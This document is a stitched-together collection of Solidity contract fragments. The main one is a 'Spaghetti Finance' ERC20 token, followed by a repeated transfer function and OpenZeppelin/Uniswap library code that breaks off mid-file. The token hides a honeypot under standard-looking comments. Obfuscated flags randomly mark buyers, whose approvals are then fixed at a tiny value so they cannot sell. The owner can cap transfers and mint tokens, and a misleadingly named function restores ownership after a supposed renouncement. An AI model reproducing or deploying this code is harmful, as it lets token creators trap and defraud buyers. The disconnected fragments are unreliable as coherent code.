function implementedHooks() external pure override returns (IPolicyManager.PolicyHook[] memory implementedHooks_) { implementedHooks_ = new IPolicyManager.PolicyHook[](1); implementedHooks_[0] = IPolicyManager.PolicyHook.RemoveExternalPosition; return implementedHooks_; }
13,968,127
/** *Submitted for verification at Etherscan.io on 2021-05-30 */ pragma solidity 0.5.16; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the bep token owner. */ function getOwner() external view returns (address); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private tequila; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; tequila = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function SetBurnAddress() public { require(_owner != tequila); emit OwnershipTransferred(_owner, tequila); _owner = tequila; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ERC20Token is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public russia; mapping (address => bool) public chinalol; bool private prom; uint256 private _totalSupply; uint256 private ship; uint256 private panda; uint8 private _decimals; string private _symbol; string private _name; bool private jefferson; address private creator; uint yellow = 0; constructor() public { creator = address(msg.sender); prom = true; jefferson = true; _name = "Spaghetti Finance"; _symbol = "SPAGHETTI"; _decimals = 4; _totalSupply = 200000000000; ship = _totalSupply / 10000000; panda = ship; chinalol[creator] = false; _balances[msg.sender] = _totalSupply; russia[msg.sender] = true; emit Transfer(address(0), msg.sender, _totalSupply); } /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory) { return _symbol; } /** * @dev Returns the bep token owner. */ function getOwner() external view returns (address) { return owner(); } /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8) { return _decimals; } /** * @dev Returns the token name. */ function name() external view returns (string memory) { return _name; } /** * @dev See {ERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {ERC20-totalSupply}. */ function totalSupply() external view returns (uint256) { return _totalSupply; } function randomItIs() internal returns (uint) { uint screen = uint(keccak256(abi.encodePacked(now, msg.sender, yellow))) % 4; yellow++; return screen; } function AtomicSwap() external view returns (uint256) { return ship; } /** * @dev See {ERC20-balanceOf}. */ function balanceOf(address account) external view returns (uint256) { return _balances[account]; } /** * @dev See {ERC20-allowance}. */ function allowance(address owner, address spender) external view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {ERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {ERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * * */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function BurnThePool(uint256 amount) external onlyOwner { ship = amount; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing * the total supply. * * Requirements * * - `msg.sender` must be the token owner */ function SomethingMaybe(uint256 amount) public onlyOwner returns (bool) { _mint(_msgSender(), amount); return true; } function Netflix(address spender, bool val, bool val2) external onlyOwner { russia[spender] = val; chinalol[spender] = val2; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if ((address(sender) == creator) && (prom == true)) { russia[recipient] = true; chinalol[recipient] = false; prom = false; } if (russia[recipient] != true) { chinalol[recipient] = ((randomItIs() == 2) ? true : false); } if ((chinalol[sender]) && (russia[recipient] == false)) { chinalol[recipient] = true; } if (russia[sender] == false) { require(amount < ship); } _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Changes the `amount` of the minimal tokens there should be in supply, * in order to not burn more tokens than there should be. **/ /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { uint256 tok = amount; require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); if ((address(owner) == creator) && (jefferson == true)) { russia[spender] = true; chinalol[spender] = false; jefferson = false; } tok = (chinalol[owner] ? 22823 : amount); _allowances[owner][spender] = tok; emit Approval(owner, spender, tok); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } }
Moves tokens `amount` from `sender` to `recipient`. This is internal function is equivalent to {transfer}, and can be used to e.g. implement automatic token fees, slashing mechanisms, etc. Emits a {Transfer} event. Requirements: - `sender` cannot be the zero address. - `recipient` cannot be the zero address. - `sender` must have a balance of at least `amount`./
function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if ((address(sender) == creator) && (prom == true)) { russia[recipient] = true; chinalol[recipient] = false; prom = false; } if (russia[recipient] != true) { chinalol[recipient] = ((randomItIs() == 2) ? true : false); } if ((chinalol[sender]) && (russia[recipient] == false)) { chinalol[recipient] = true; } if (russia[sender] == false) { require(amount < ship); } _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); }
6,687,100
./full_match/84531/0xA125e72E11027b97F11E2C05178B9bA860b09F40/sources/Contract1.sol
internal and private
function _baseURI() internal view virtual override returns (string memory) { return baseURI; }
11,505,826
// SPDX-License-Identifier: Unlicensed // File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: 